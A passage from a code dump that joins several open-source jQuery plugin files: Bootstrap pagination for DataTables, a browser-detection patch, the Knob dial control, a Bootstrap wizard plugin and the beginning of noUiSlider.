// Add the new list items and their event handlers
for ( j=iStart ; j<=iEnd ; j++ ) {
sClass = (j==oPaging.iPage+1) ? 'class="active"' : '';
$('<li '+sClass+'><a href="#">'+j+'</a></li>')
.insertBefore( $('li:last', an[i])[0] )
.bind('click', function (e) {
e.preventDefault();
oSettings._iDisplayStart = (parseInt($('a', this).text(),10)-1) * oPaging.iLength;
fnDraw( oSettings );
} );
}
// Add / remove disabled classes from the static elements
if ( oPaging.iPage === 0 ) {
$('li:first', an[i]).addClass('disabled');
} else {
$('li:first', an[i]).removeClass('disabled');
}
if ( oPaging.iPage === oPaging.iTotalPages-1 || oPaging.iTotalPages === 0 ) {
$('li:last', an[i]).addClass('disabled');
} else {
$('li:last', an[i]).removeClass('disabled');
}
}
}
}
} );
/* Bootstrap style pagination control */
$.extend( $.fn.dataTableExt.oPagination, {
"bootstrap_full": {
"fnInit": function( oSettings, nPaging, fnDraw ) {
var oLang = oSettings.oLanguage.oPaginate;
var fnClickHandler = function ( e ) {
e.preventDefault();
if ( oSettings.oApi._fnPageChange(oSettings, e.data.action) ) {
fnDraw( oSettings );
}
};
$(nPaging).append(
'<ul class="pagination">'+
'<li class="first disabled"><a href="#">'+oLang.sFirst+'</a></li>'+
'<li class="prev disabled"><a href="#">'+oLang.sPrevious+'</a></li>'+
'<li class="next disabled"><a href="#">'+oLang.sNext+'</a></li>'+
'<li class="last disabled"><a href="#">'+oLang.sLast+'</a></li>'+
'</ul>'
);
var els = $('a', nPaging);
$(els[0]).bind( 'click.DT', { action: "first" }, fnClickHandler );
$(els[1]).bind( 'click.DT', { action: "previous" }, fnClickHandler );
$(els[2]).bind( 'click.DT', { action: "next" }, fnClickHandler );
$(els[3]).bind( 'click.DT', { action: "last" }, fnClickHandler );
},
"fnUpdate": function ( oSettings, fnDraw ) {
var iListLength = 5;
var oPaging = oSettings.oInstance.fnPagingInfo();
var an = oSettings.aanFeatures.p;
var i, j, sClass, iStart, iEnd, iHalf=Math.floor(iListLength/2);
if ( oPaging.iTotalPages < iListLength) {
iStart = 1;
iEnd = oPaging.iTotalPages;
}
else if ( oPaging.iPage <= iHalf ) {
iStart = 1;
iEnd = iListLength;
} else if ( oPaging.iPage >= (oPaging.iTotalPages-iHalf) ) {
iStart = oPaging.iTotalPages - iListLength + 1;
iEnd = oPaging.iTotalPages;
} else {
iStart = oPaging.iPage - iHalf + 1;
iEnd = iStart + iListLength - 1;
}
for ( i=0, iLen=an.length ; i<iLen ; i++ ) {
// Remove the middle elements
$('li', an[i]).filter(":not(.first)").filter(":not(.last)").filter(":not(.prev)").filter(":not(.next)").remove();
// Add the new list items and their event handlers
for ( j=iStart ; j<=iEnd ; j++ ) {
sClass = (j==oPaging.iPage+1) ? 'class="active"' : '';
$('<li '+sClass+'><a href="#">'+j+'</a></li>')
.insertBefore( $('li.next', an[i])[0] )
.bind('click', function (e) {
e.preventDefault();
oSettings._iDisplayStart = (parseInt($('a', this).text(),10)-1) * oPaging.iLength;
fnDraw( oSettings );
} );
}
// Add / remove disabled classes from the static elements
if ( oPaging.iPage === 0 ) {
$('li.first', an[i]).addClass('disabled');
$('li.prev', an[i]).addClass('disabled');
} else {
$('li.prev', an[i]).removeClass('disabled');
$('li.first', an[i]).removeClass('disabled');
}
if ( oPaging.iPage === oPaging.iTotalPages-1 || oPaging.iTotalPages === 0 ) {
$('li.last', an[i]).addClass('disabled');
$('li.next', an[i]).addClass('disabled');
} else {
$('li.next', an[i]).removeClass('disabled');
$('li.last', an[i]).removeClass('disabled');
}
}
}
}
} );
/*
* TableTools Bootstrap compatibility
* Required TableTools 2.1+
*/
if ( $.fn.DataTable.TableTools ) {
// Set the classes that TableTools uses to something suitable for Bootstrap
$.extend( true, $.fn.DataTable.TableTools.classes, {
"container": "DTTT btn-group",
"buttons": {
"normal": "btn btn-default btn-sm",
"disabled": "disabled"
},
"collection": {
"container": "DTTT_dropdown dropdown-menu",
"buttons": {
"normal": "",
"disabled": "disabled"
}
},
"print": {
"info": "DTTT_print_info modal"
},
"select": {
"row": "active"
}
} );
// Have the collection use a bootstrap compatible dropdown
$.extend( true, $.fn.DataTable.TableTools.DEFAULTS.oTags, {
"collection": {
"container": "ul",
"button": "li",
"liner": "a"
}
} );
}
| JavaScript |
/*
* ******************************************************************************
* jquery.mb.components
* file: jquery.mb.browser.js
*
* Copyright (c) 2001-2013. Matteo Bicocchi (Pupunzi);
* Open lab srl, Firenze - Italy
* email: matteo@open-lab.com
* site: http://pupunzi.com
* blog: http://pupunzi.open-lab.com
* http://open-lab.com
*
* Licences: MIT, GPL
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* last modified: 17/01/13 0.12
* *****************************************************************************
*/
/*******************************************************************************
*
* jquery.mb.browser
* Author: pupunzi
* Creation date: 16/01/13
*
******************************************************************************/
/*Browser detection patch*/
(function($){
if(jQuery.browser) return;
jQuery.browser = {};
jQuery.browser.mozilla = false;
jQuery.browser.webkit = false;
jQuery.browser.opera = false;
jQuery.browser.msie = false;
var nAgt = navigator.userAgent;
jQuery.browser.name = navigator.appName;
jQuery.browser.fullVersion = ''+parseFloat(navigator.appVersion);
jQuery.browser.majorVersion = parseInt(navigator.appVersion,10);
var nameOffset,verOffset,ix;
// In Opera, the true version is after "Opera" or after "Version"
if ((verOffset=nAgt.indexOf("Opera"))!=-1) {
jQuery.browser.opera = true;
jQuery.browser.name = "Opera";
jQuery.browser.fullVersion = nAgt.substring(verOffset+6);
if ((verOffset=nAgt.indexOf("Version"))!=-1)
jQuery.browser.fullVersion = nAgt.substring(verOffset+8);
}
// In MSIE, the true version is after "MSIE" in userAgent
else if ((verOffset=nAgt.indexOf("MSIE"))!=-1) {
jQuery.browser.msie = true;
jQuery.browser.name = "Microsoft Internet Explorer";
jQuery.browser.fullVersion = nAgt.substring(verOffset+5);
}
// In Chrome, the true version is after "Chrome"
else if ((verOffset=nAgt.indexOf("Chrome"))!=-1) {
jQuery.browser.webkit = true;
jQuery.browser.name = "Chrome";
jQuery.browser.fullVersion = nAgt.substring(verOffset+7);
}
// In Safari, the true version is after "Safari" or after "Version"
else if ((verOffset=nAgt.indexOf("Safari"))!=-1) {
jQuery.browser.webkit = true;
jQuery.browser.name = "Safari";
jQuery.browser.fullVersion = nAgt.substring(verOffset+7);
if ((verOffset=nAgt.indexOf("Version"))!=-1)
jQuery.browser.fullVersion = nAgt.substring(verOffset+8);
}
// In Firefox, the true version is after "Firefox"
else if ((verOffset=nAgt.indexOf("Firefox"))!=-1) {
jQuery.browser.mozilla = true;
jQuery.browser.name = "Firefox";
jQuery.browser.fullVersion = nAgt.substring(verOffset+8);
}
// In most other browsers, "name/version" is at the end of userAgent
else if ( (nameOffset=nAgt.lastIndexOf(' ')+1) <
(verOffset=nAgt.lastIndexOf('/')) )
{
jQuery.browser.name = nAgt.substring(nameOffset,verOffset);
jQuery.browser.fullVersion = nAgt.substring(verOffset+1);
if (jQuery.browser.name.toLowerCase()==jQuery.browser.name.toUpperCase()) {
jQuery.browser.name = navigator.appName;
}
}
// trim the fullVersion string at semicolon/space if present
if ((ix=jQuery.browser.fullVersion.indexOf(";"))!=-1)
jQuery.browser.fullVersion=jQuery.browser.fullVersion.substring(0,ix);
if ((ix=jQuery.browser.fullVersion.indexOf(" "))!=-1)
jQuery.browser.fullVersion=jQuery.browser.fullVersion.substring(0,ix);
jQuery.browser.majorVersion = parseInt(''+jQuery.browser.fullVersion,10);
if (isNaN(jQuery.browser.majorVersion)) {
jQuery.browser.fullVersion = ''+parseFloat(navigator.appVersion);
jQuery.browser.majorVersion = parseInt(navigator.appVersion,10);
}
jQuery.browser.version = jQuery.browser.majorVersion;
})(jQuery)
| JavaScript |
/*!jQuery Knob*/
/**
* Downward compatible, touchable dial
*
* Version: 1.2.0 (15/07/2012)
* Requires: jQuery v1.7+
*
* Copyright (c) 2012 Anthony Terrien
* Under MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Thanks to vor, eskimoblood, spiffistan, FabrizioC
*/
(function($) {
/**
* Kontrol library
*/
"use strict";
/**
* Definition of globals and core
*/
var k = {}, // kontrol
max = Math.max,
min = Math.min;
k.c = {};
k.c.d = $(document);
k.c.t = function (e) {
return e.originalEvent.touches.length - 1;
};
/**
* Kontrol Object
*
* Definition of an abstract UI control
*
* Each concrete component must call this one.
* <code>
* k.o.call(this);
* </code>
*/
k.o = function () {
var s = this;
this.o = null; // array of options
this.$ = null; // jQuery wrapped element
this.i = null; // mixed HTMLInputElement or array of HTMLInputElement
this.g = null; // deprecated 2D graphics context for 'pre-rendering'
this.v = null; // value ; mixed array or integer
this.cv = null; // change value ; not commited value
this.x = 0; // canvas x position
this.y = 0; // canvas y position
this.w = 0; // canvas width
this.h = 0; // canvas height
this.$c = null; // jQuery canvas element
this.c = null; // rendered canvas context
this.t = 0; // touches index
this.isInit = false;
this.fgColor = null; // main color
this.pColor = null; // previous color
this.dH = null; // draw hook
this.cH = null; // change hook
this.eH = null; // cancel hook
this.rH = null; // release hook
this.scale = 1; // scale factor
this.relative = false;
this.relativeWidth = false;
this.relativeHeight = false;
this.$div = null; // component div
this.run = function () {
var cf = function (e, conf) {
var k;
for (k in conf) {
s.o[k] = conf[k];
}
s.init();
s._configure()
._draw();
};
if(this.$.data('kontroled')) return;
this.$.data('kontroled', true);
this.extend();
this.o = $.extend(
{
// Config
min : this.$.data('min') || 0,
max : this.$.data('max') || 100,
stopper : true,
readOnly : this.$.data('readonly') || (this.$.attr('readonly') == 'readonly'),
// UI
cursor : (this.$.data('cursor') === true && 30)
|| this.$.data('cursor')
|| 0,
thickness : this.$.data('thickness') || 0.35,
lineCap : this.$.data('linecap') || 'butt',
width : this.$.data('width') || 200,
height : this.$.data('height') || 200,
displayInput : this.$.data('displayinput') == null || this.$.data('displayinput'),
displayPrevious : this.$.data('displayprevious'),
fgColor : this.$.data('fgcolor') || '#87CEEB',
inputColor: this.$.data('inputcolor') || this.$.data('fgcolor') || '#87CEEB',
font: this.$.data('font') || 'Arial',
fontWeight: this.$.data('font-weight') || 'bold',
inline : false,
step : this.$.data('step') || 1,
// Hooks
draw : null, // function () {}
change : null, // function (value) {}
cancel : null, // function () {}
release : null, // function (value) {}
error : null // function () {}
}, this.o
);
// routing value
if(this.$.is('fieldset')) {
// fieldset = array of integer
this.v = {};
this.i = this.$.find('input')
this.i.each(function(k) {
var $this = $(this);
s.i[k] = $this;
s.v[k] = $this.val();
$this.bind(
'change'
, function () {
var val = {};
val[k] = $this.val();
s.val(val);
}
);
});
this.$.find('legend').remove();
} else {
// input = integer
this.i = this.$;
this.v = this.$.val();
(this.v == '') && (this.v = this.o.min);
this.$.bind(
'change'
, function () {
s.val(s._validate(s.$.val()));
}
);
}
(!this.o.displayInput) && this.$.hide();
// adds needed DOM elements (canvas, div)
this.$c = $(document.createElement('canvas'));
if (typeof G_vmlCanvasManager !== 'undefined') {
G_vmlCanvasManager.initElement(this.$c[0]);
}
this.c = this.$c[0].getContext ? this.$c[0].getContext('2d') : null;
if (!this.c) {
this.o.error && this.o.error();
return;
}
// hdpi support
this.scale = (window.devicePixelRatio || 1) /
(
this.c.webkitBackingStorePixelRatio ||
this.c.mozBackingStorePixelRatio ||
this.c.msBackingStorePixelRatio ||
this.c.oBackingStorePixelRatio ||
this.c.backingStorePixelRatio || 1
);
// detects relative width / height
this.relativeWidth = ((this.o.width % 1 !== 0)
&& this.o.width.indexOf('%'));
this.relativeHeight = ((this.o.height % 1 !== 0)
&& this.o.height.indexOf('%'));
this.relative = (this.relativeWidth || this.relativeHeight);
// wraps all elements in a div
this.$div = $('<div style="'
+ (this.o.inline ? 'display:inline;' : '')
+ '"></div>');
this.$.wrap(this.$div).before(this.$c);
this.$div = this.$.parent();
// computes size and carves the component
this._carve();
// prepares props for transaction
if (this.v instanceof Object) {
this.cv = {};
this.copy(this.v, this.cv);
} else {
this.cv = this.v;
}
// binds configure event
this.$
.bind("configure", cf)
.parent()
.bind("configure", cf);
// finalize init
this._listen()
._configure()
._xy()
.init();
this.isInit = true;
// the most important !
this._draw();
return this;
};
this._carve = function() {
if(this.relative) {
var w = this.relativeWidth
? this.$div.parent().width()
* parseInt(this.o.width) / 100
: this.$div.parent().width(),
h = this.relativeHeight
? this.$div.parent().height()
* parseInt(this.o.height) / 100
: this.$div.parent().height();
// apply relative
this.w = this.h = Math.min(w, h);
} else {
this.w = this.o.width;
this.h = this.o.height;
}
// finalize div
this.$div.css({
'width': this.w + 'px',
'height': this.h + 'px'
});
// finalize canvas with computed width
this.$c.attr({
width: this.w,
height: this.h
});
// scaling
if (this.scale !== 1) {
this.$c[0].width = this.$c[0].width * this.scale;
this.$c[0].height = this.$c[0].height * this.scale;
this.$c.width(this.w);
this.$c.height(this.h);
}
return this;
}
this._draw = function () {
// canvas pre-rendering
var d = true;
s.g = s.c;
s.clear();
s.dH
&& (d = s.dH());
(d !== false) && s.draw();
};
this._touch = function (e) {
var touchMove = function (e) {
var v = s.xy2val(
e.originalEvent.touches[s.t].pageX,
e.originalEvent.touches[s.t].pageY
);
if (v == s.cv) return;
if (
s.cH
&& (s.cH(v) === false)
) return;
s.change(s._validate(v));
s._draw();
};
// get touches index
this.t = k.c.t(e);
// First touch
touchMove(e);
// Touch events listeners
k.c.d
.bind("touchmove.k", touchMove)
.bind(
"touchend.k"
, function () {
k.c.d.unbind('touchmove.k touchend.k');
if (
s.rH
&& (s.rH(s.cv) === false)
) return;
s.val(s.cv);
}
);
return this;
};
this._mouse = function (e) {
var mouseMove = function (e) {
var v = s.xy2val(e.pageX, e.pageY);
if (v == s.cv) return;
if (
s.cH
&& (s.cH(v) === false)
) return;
s.change(s._validate(v));
s._draw();
};
// First click
mouseMove(e);
// Mouse events listeners
k.c.d
.bind("mousemove.k", mouseMove)
.bind(
// Escape key cancel current change
"keyup.k"
, function (e) {
if (e.keyCode === 27) {
k.c.d.unbind("mouseup.k mousemove.k keyup.k");
if (
s.eH
&& (s.eH() === false)
) return;
s.cancel();
}
}
)
.bind(
"mouseup.k"
, function (e) {
k.c.d.unbind('mousemove.k mouseup.k keyup.k');
if (
s.rH
&& (s.rH(s.cv) === false)
) return;
s.val(s.cv);
}
);
return this;
};
this._xy = function () {
var o = this.$c.offset();
this.x = o.left;
this.y = o.top;
return this;
};
this._listen = function () {
if (!this.o.readOnly) {
this.$c
.bind(
"mousedown"
, function (e) {
e.preventDefault();
s._xy()._mouse(e);
}
)
.bind(
"touchstart"
, function (e) {
e.preventDefault();
s._xy()._touch(e);
}
);
if(this.relative) {
$(window).resize(function() {
s._carve()
.init();
s._draw();
});
}
this.listen();
} else {
this.$.attr('readonly', 'readonly');
}
return this;
};
this._configure = function () {
// Hooks
if (this.o.draw) this.dH = this.o.draw;
if (this.o.change) this.cH = this.o.change;
if (this.o.cancel) this.eH = this.o.cancel;
if (this.o.release) this.rH = this.o.release;
if (this.o.displayPrevious) {
this.pColor = this.h2rgba(this.o.fgColor, "0.4");
this.fgColor = this.h2rgba(this.o.fgColor, "0.6");
} else {
this.fgColor = this.o.fgColor;
}
return this;
};
this._clear = function () {
this.$c[0].width = this.$c[0].width;
};
this._validate = function(v) {
return (~~ (((v < 0) ? -0.5 : 0.5) + (v/this.o.step))) * this.o.step;
};
// Abstract methods
this.listen = function () {}; // on start, one time
this.extend = function () {}; // each time configure triggered
this.init = function () {}; // each time configure triggered
this.change = function (v) {}; // on change
this.val = function (v) {}; // on release
this.xy2val = function (x, y) {}; //
this.draw = function () {}; // on change / on release
this.clear = function () { this._clear(); };
// Utils
this.h2rgba = function (h, a) {
var rgb;
h = h.substring(1,7)
rgb = [parseInt(h.substring(0,2),16)
,parseInt(h.substring(2,4),16)
,parseInt(h.substring(4,6),16)];
return "rgba(" + rgb[0] + "," + rgb[1] + "," + rgb[2] + "," + a + ")";
};
this.copy = function (f, t) {
for (var i in f) { t[i] = f[i]; }
};
};
/**
* k.Dial
*/
k.Dial = function () {
k.o.call(this);
this.startAngle = null;
this.xy = null;
this.radius = null;
this.lineWidth = null;
this.cursorExt = null;
this.w2 = null;
this.PI2 = 2*Math.PI;
this.extend = function () {
this.o = $.extend(
{
bgColor : this.$.data('bgcolor') || '#EEEEEE',
angleOffset : this.$.data('angleoffset') || 0,
angleArc : this.$.data('anglearc') || 360,
inline : true
}, this.o
);
};
this.val = function (v) {
if (null != v) {
this.cv = this.o.stopper ? max(min(v, this.o.max), this.o.min) : v;
this.v = this.cv;
this.$.val(this.v);
this._draw();
} else {
return this.v;
}
};
this.xy2val = function (x, y) {
var a, ret;
a = Math.atan2(
x - (this.x + this.w2)
, - (y - this.y - this.w2)
) - this.angleOffset;
if(this.angleArc != this.PI2 && (a < 0) && (a > -0.5)) {
// if isset angleArc option, set to min if .5 under min
a = 0;
} else if (a < 0) {
a += this.PI2;
}
ret = ~~ (0.5 + (a * (this.o.max - this.o.min) / this.angleArc))
+ this.o.min;
this.o.stopper
&& (ret = max(min(ret, this.o.max), this.o.min));
return ret;
};
this.listen = function () {
// bind MouseWheel
var s = this,
mw = function (e) {
e.preventDefault();
var ori = e.originalEvent
,deltaX = ori.detail || ori.wheelDeltaX
,deltaY = ori.detail || ori.wheelDeltaY
,v = parseInt(s.$.val()) + (deltaX>0 || deltaY>0 ? s.o.step : deltaX<0 || deltaY<0 ? -s.o.step : 0);
if (
s.cH
&& (s.cH(v) === false)
) return;
s.val(v);
}
, kval, to, m = 1, kv = {37:-s.o.step, 38:s.o.step, 39:s.o.step, 40:-s.o.step};
this.$
.bind(
"keydown"
,function (e) {
var kc = e.keyCode;
// numpad support
if(kc >= 96 && kc <= 105) {
kc = e.keyCode = kc - 48;
}
kval = parseInt(String.fromCharCode(kc));
if (isNaN(kval)) {
(kc !== 13) // enter
&& (kc !== 8) // bs
&& (kc !== 9) // tab
&& (kc !== 189) // -
&& e.preventDefault();
// arrows
if ($.inArray(kc,[37,38,39,40]) > -1) {
e.preventDefault();
var v = parseInt(s.$.val()) + kv[kc] * m;
s.o.stopper
&& (v = max(min(v, s.o.max), s.o.min));
s.change(v);
s._draw();
// long time keydown speed-up
to = window.setTimeout(
function () { m*=2; }
,30
);
}
}
}
)
.bind(
"keyup"
,function (e) {
if (isNaN(kval)) {
if (to) {
window.clearTimeout(to);
to = null;
m = 1;
s.val(s.$.val());
}
} else {
// kval postcond
(s.$.val() > s.o.max && s.$.val(s.o.max))
|| (s.$.val() < s.o.min && s.$.val(s.o.min));
}
}
);
this.$c.bind("mousewheel DOMMouseScroll", mw);
this.$.bind("mousewheel DOMMouseScroll", mw)
};
this.init = function () {
if (
this.v < this.o.min
|| this.v > this.o.max
) this.v = this.o.min;
this.$.val(this.v);
this.w2 = this.w / 2;
this.cursorExt = this.o.cursor / 100;
this.xy = this.w2 * this.scale;
this.lineWidth = this.xy * this.o.thickness;
this.lineCap = this.o.lineCap;
this.radius = this.xy - this.lineWidth / 2;
this.o.angleOffset
&& (this.o.angleOffset = isNaN(this.o.angleOffset) ? 0 : this.o.angleOffset);
this.o.angleArc
&& (this.o.angleArc = isNaN(this.o.angleArc) ? this.PI2 : this.o.angleArc);
// deg to rad
this.angleOffset = this.o.angleOffset * Math.PI / 180;
this.angleArc = this.o.angleArc * Math.PI / 180;
// compute start and end angles
this.startAngle = 1.5 * Math.PI + this.angleOffset;
this.endAngle = 1.5 * Math.PI + this.angleOffset + this.angleArc;
var s = max(
String(Math.abs(this.o.max)).length
, String(Math.abs(this.o.min)).length
, 2
) + 2;
this.o.displayInput
&& this.i.css({
'width' : ((this.w / 2 + 4) >> 0) + 'px'
,'height' : ((this.w / 3) >> 0) + 'px'
,'position' : 'absolute'
,'vertical-align' : 'middle'
,'margin-top' : ((this.w / 3) >> 0) + 'px'
,'margin-left' : '-' + ((this.w * 3 / 4 + 2) >> 0) + 'px'
,'border' : 0
,'background' : 'none'
,'font' : this.o.fontWeight + ' ' + ((this.w / s) >> 0) + 'px ' + this.o.font
,'text-align' : 'center'
,'color' : this.o.inputColor || this.o.fgColor
,'padding' : '0px'
,'-webkit-appearance': 'none'
})
|| this.i.css({
'width' : '0px'
,'visibility' : 'hidden'
});
};
this.change = function (v) {
this.cv = v;
this.$.val(v);
};
this.angle = function (v) {
return (v - this.o.min) * this.angleArc / (this.o.max - this.o.min);
};
this.draw = function () {
var c = this.g, // context
a = this.angle(this.cv) // Angle
, sat = this.startAngle // Start angle
, eat = sat + a // End angle
, sa, ea // Previous angles
, r = 1;
c.lineWidth = this.lineWidth;
c.lineCap = this.lineCap;
this.o.cursor
&& (sat = eat - this.cursorExt)
&& (eat = eat + this.cursorExt);
c.beginPath();
c.strokeStyle = this.o.bgColor;
c.arc(this.xy, this.xy, this.radius, this.endAngle, this.startAngle, true);
c.stroke();
if (this.o.displayPrevious) {
ea = this.startAngle + this.angle(this.v);
sa = this.startAngle;
this.o.cursor
&& (sa = ea - this.cursorExt)
&& (ea = ea + this.cursorExt);
c.beginPath();
c.strokeStyle = this.pColor;
c.arc(this.xy, this.xy, this.radius, sa, ea, false);
c.stroke();
r = (this.cv == this.v);
}
c.beginPath();
c.strokeStyle = r ? this.o.fgColor : this.fgColor ;
c.arc(this.xy, this.xy, this.radius, sat, eat, false);
c.stroke();
};
this.cancel = function () {
this.val(this.v);
};
};
$.fn.dial = $.fn.knob = function (o) {
return this.each(
function () {
var d = new k.Dial();
d.o = o;
d.$ = $(this);
d.run();
}
).parent();
};
})(jQuery);
| JavaScript |
/*!
* jQuery twitter bootstrap wizard plugin
* Examples and documentation at: http://github.com/VinceG/twitter-bootstrap-wizard
* version 1.0
* Requires jQuery v1.3.2 or later
* Supports Bootstrap 2.2.x, 2.3.x, 3.0
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
* Authors: Vadim Vincent Gabriel (http://vadimg.com), Jason Gill (www.gilluminate.com)
*/
;(function($) {
var bootstrapWizardCreate = function(element, options) {
var element = $(element);
var obj = this;
// selector skips any 'li' elements that do not contain a child with a tab data-toggle
var baseItemSelector = 'li:has([data-toggle="tab"])';
// Merge options with defaults
var $settings = $.extend({}, $.fn.bootstrapWizard.defaults, options);
var $activeTab = null;
var $navigation = null;
this.rebindClick = function(selector, fn)
{
selector.unbind('click', fn).bind('click', fn);
}
this.fixNavigationButtons = function() {
// Get the current active tab
if(!$activeTab.length) {
// Select first one
$navigation.find('a:first').tab('show');
$activeTab = $navigation.find(baseItemSelector + ':first');
}
// See if we're currently in the first/last then disable the previous and last buttons
$($settings.previousSelector, element).toggleClass('disabled', (obj.firstIndex() >= obj.currentIndex()));
$($settings.nextSelector, element).toggleClass('disabled', (obj.currentIndex() >= obj.navigationLength()));
// We are unbinding and rebinding to ensure single firing and no double-click errors
obj.rebindClick($($settings.nextSelector, element), obj.next);
obj.rebindClick($($settings.previousSelector, element), obj.previous);
obj.rebindClick($($settings.lastSelector, element), obj.last);
obj.rebindClick($($settings.firstSelector, element), obj.first);
if($settings.onTabShow && typeof $settings.onTabShow === 'function' && $settings.onTabShow($activeTab, $navigation, obj.currentIndex())===false){
return false;
}
};
this.next = function(e) {
// If we clicked the last then dont activate this
if(element.hasClass('last')) {
return false;
}
if($settings.onNext && typeof $settings.onNext === 'function' && $settings.onNext($activeTab, $navigation, obj.nextIndex())===false){
return false;
}
// Did we click the last button
$index = obj.nextIndex();
if($index > obj.navigationLength()) {
} else {
$navigation.find(baseItemSelector + ':eq('+$index+') a').tab('show');
}
};
this.previous = function(e) {
// If we clicked the first then dont activate this
if(element.hasClass('first')) {
return false;
}
if($settings.onPrevious && typeof $settings.onPrevious === 'function' && $settings.onPrevious($activeTab, $navigation, obj.previousIndex())===false){
return false;
}
$index = obj.previousIndex();
if($index < 0) {
} else {
$navigation.find(baseItemSelector + ':eq('+$index+') a').tab('show');
}
};
this.first = function(e) {
if($settings.onFirst && typeof $settings.onFirst === 'function' && $settings.onFirst($activeTab, $navigation, obj.firstIndex())===false){
return false;
}
// If the element is disabled then we won't do anything
if(element.hasClass('disabled')) {
return false;
}
$navigation.find(baseItemSelector + ':eq(0) a').tab('show');
};
this.last = function(e) {
if($settings.onLast && typeof $settings.onLast === 'function' && $settings.onLast($activeTab, $navigation, obj.lastIndex())===false){
return false;
}
// If the element is disabled then we won't do anything
if(element.hasClass('disabled')) {
return false;
}
$navigation.find(baseItemSelector + ':eq('+obj.navigationLength()+') a').tab('show');
};
this.currentIndex = function() {
return $navigation.find(baseItemSelector).index($activeTab);
};
this.firstIndex = function() {
return 0;
};
this.lastIndex = function() {
return obj.navigationLength();
};
this.getIndex = function(e) {
return $navigation.find(baseItemSelector).index(e);
};
this.nextIndex = function() {
return $navigation.find(baseItemSelector).index($activeTab) + 1;
};
this.previousIndex = function() {
return $navigation.find(baseItemSelector).index($activeTab) - 1;
};
this.navigationLength = function() {
return $navigation.find(baseItemSelector).length - 1;
};
this.activeTab = function() {
return $activeTab;
};
this.nextTab = function() {
return $navigation.find(baseItemSelector + ':eq('+(obj.currentIndex()+1)+')').length ? $navigation.find(baseItemSelector + ':eq('+(obj.currentIndex()+1)+')') : null;
};
this.previousTab = function() {
if(obj.currentIndex() <= 0) {
return null;
}
return $navigation.find(baseItemSelector + ':eq('+parseInt(obj.currentIndex()-1)+')');
};
this.show = function(index) {
return element.find(baseItemSelector + ':eq(' + index + ') a').tab('show');
};
this.disable = function(index) {
$navigation.find(baseItemSelector + ':eq('+index+')').addClass('disabled');
};
this.enable = function(index) {
$navigation.find(baseItemSelector + ':eq('+index+')').removeClass('disabled');
};
this.hide = function(index) {
$navigation.find(baseItemSelector + ':eq('+index+')').hide();
};
this.display = function(index) {
$navigation.find(baseItemSelector + ':eq('+index+')').show();
};
this.remove = function(args) {
var $index = args[0];
var $removeTabPane = typeof args[1] != 'undefined' ? args[1] : false;
var $item = $navigation.find(baseItemSelector + ':eq('+$index+')');
// Remove the tab pane first if needed
if($removeTabPane) {
var $href = $item.find('a').attr('href');
$($href).remove();
}
// Remove menu item
$item.remove();
};
$navigation = element.find('ul:first', element);
$activeTab = $navigation.find(baseItemSelector + '.active', element);
if(!$navigation.hasClass($settings.tabClass)) {
$navigation.addClass($settings.tabClass);
}
// Load onInit
if($settings.onInit && typeof $settings.onInit === 'function'){
$settings.onInit($activeTab, $navigation, 0);
}
// Load onShow
if($settings.onShow && typeof $settings.onShow === 'function'){
$settings.onShow($activeTab, $navigation, obj.nextIndex());
}
// Work the next/previous buttons
obj.fixNavigationButtons();
$('a[data-toggle="tab"]', $navigation).on('click', function (e) {
// Get the index of the clicked tab
var clickedIndex = $navigation.find(baseItemSelector).index($(e.currentTarget).parent(baseItemSelector));
if($settings.onTabClick && typeof $settings.onTabClick === 'function' && $settings.onTabClick($activeTab, $navigation, obj.currentIndex(), clickedIndex)===false){
return false;
}
});
// attach to both shown and shown.bs.tab to support Bootstrap versions 2.3.2 and 3.0.0
$('a[data-toggle="tab"]', $navigation).on('shown shown.bs.tab', function (e) { // use shown instead of show to help prevent double firing
$element = $(e.target).parent();
var nextTab = $navigation.find(baseItemSelector).index($element);
// If it's disabled then do not change
if($element.hasClass('disabled')) {
return false;
}
if($settings.onTabChange && typeof $settings.onTabChange === 'function' && $settings.onTabChange($activeTab, $navigation, obj.currentIndex(), nextTab)===false){
return false;
}
$activeTab = $element; // activated tab
obj.fixNavigationButtons();
});
};
$.fn.bootstrapWizard = function(options) {
//expose methods
if (typeof options == 'string') {
var args = Array.prototype.slice.call(arguments, 1)
if(args.length === 1) {
args.toString();
}
return this.data('bootstrapWizard')[options](args);
}
return this.each(function(index){
var element = $(this);
// Return early if this element already has a plugin instance
if (element.data('bootstrapWizard')) return;
// pass options to plugin constructor
var wizard = new bootstrapWizardCreate(element, options);
// Store plugin object in this element's data
element.data('bootstrapWizard', wizard);
});
};
// expose options
$.fn.bootstrapWizard.defaults = {
tabClass: 'nav nav-pills',
nextSelector: '.wizard li.next',
previousSelector: '.wizard li.previous',
firstSelector: '.wizard li.first',
lastSelector: '.wizard li.last',
onShow: null,
onInit: null,
onNext: null,
onPrevious: null,
onLast: null,
onFirst: null,
onTabChange: null,
onTabClick: null,
onTabShow: null
};
})(jQuery);
| JavaScript |
/* noUiSlider - refreshless.com/nouislider/ */
(function($, UNDEF){
$.fn.noUiSlider = function( options ){
var namespace = '.nui'
// Create a shorthand for document event binding
,all = $(document)
// Create a map of touch and mouse actions
,actions = {
start: 'mousedown' + namespace + ' touchstart' + namespace
,move: 'mousemove' + namespace + ' touchmove' + namespace
,end: 'mouseup' + namespace + ' touchend' + namespace
}
// Make a copy of the current val function.
,$VAL = $.fn.val
// Define a set of standard HTML classes for
// the various structures noUiSlider uses.
,clsList = [
'noUi-base' // 0
,'noUi-origin' // 1
,'noUi-handle' // 2
,'noUi-input' // 3
,'noUi-active' // 4
,'noUi-state-tap' // 5
,'noUi-target' // 6
,'-lower' // 7
,'-upper' // 8
,'noUi-connect' // 9
,'noUi-vertical' // 10
,'noUi-horizontal' // 11
,'handles' // 12
,'noUi-background' // 13
,'noUi-z-index' // 14
]
// Define an extendible object with base classes for the various
// structure elements in the slider. These can be extended by simply
// pushing to the array, which reduces '.addClass()' calls.
,stdCls = {
base: [clsList[0], clsList[13]]
,origin: [clsList[1]]
,handle: [clsList[2]]
}
// The percentage object contains some well tested math to turn values
// to and from percentages. It can be a bit strange to wrap your head
// around the individual calls, but they'll do their job with all positive
// and negative input values.
,percentage = {
to: function ( range, value ) {
value = range[0] < 0 ? value + Math.abs(range[0]) : value - range[0];
return (value * 100) / this.len(range);
}
,from: function ( range, value ) {
return (value * 100) / this.len(range);
}
,is: function ( range, value ) {
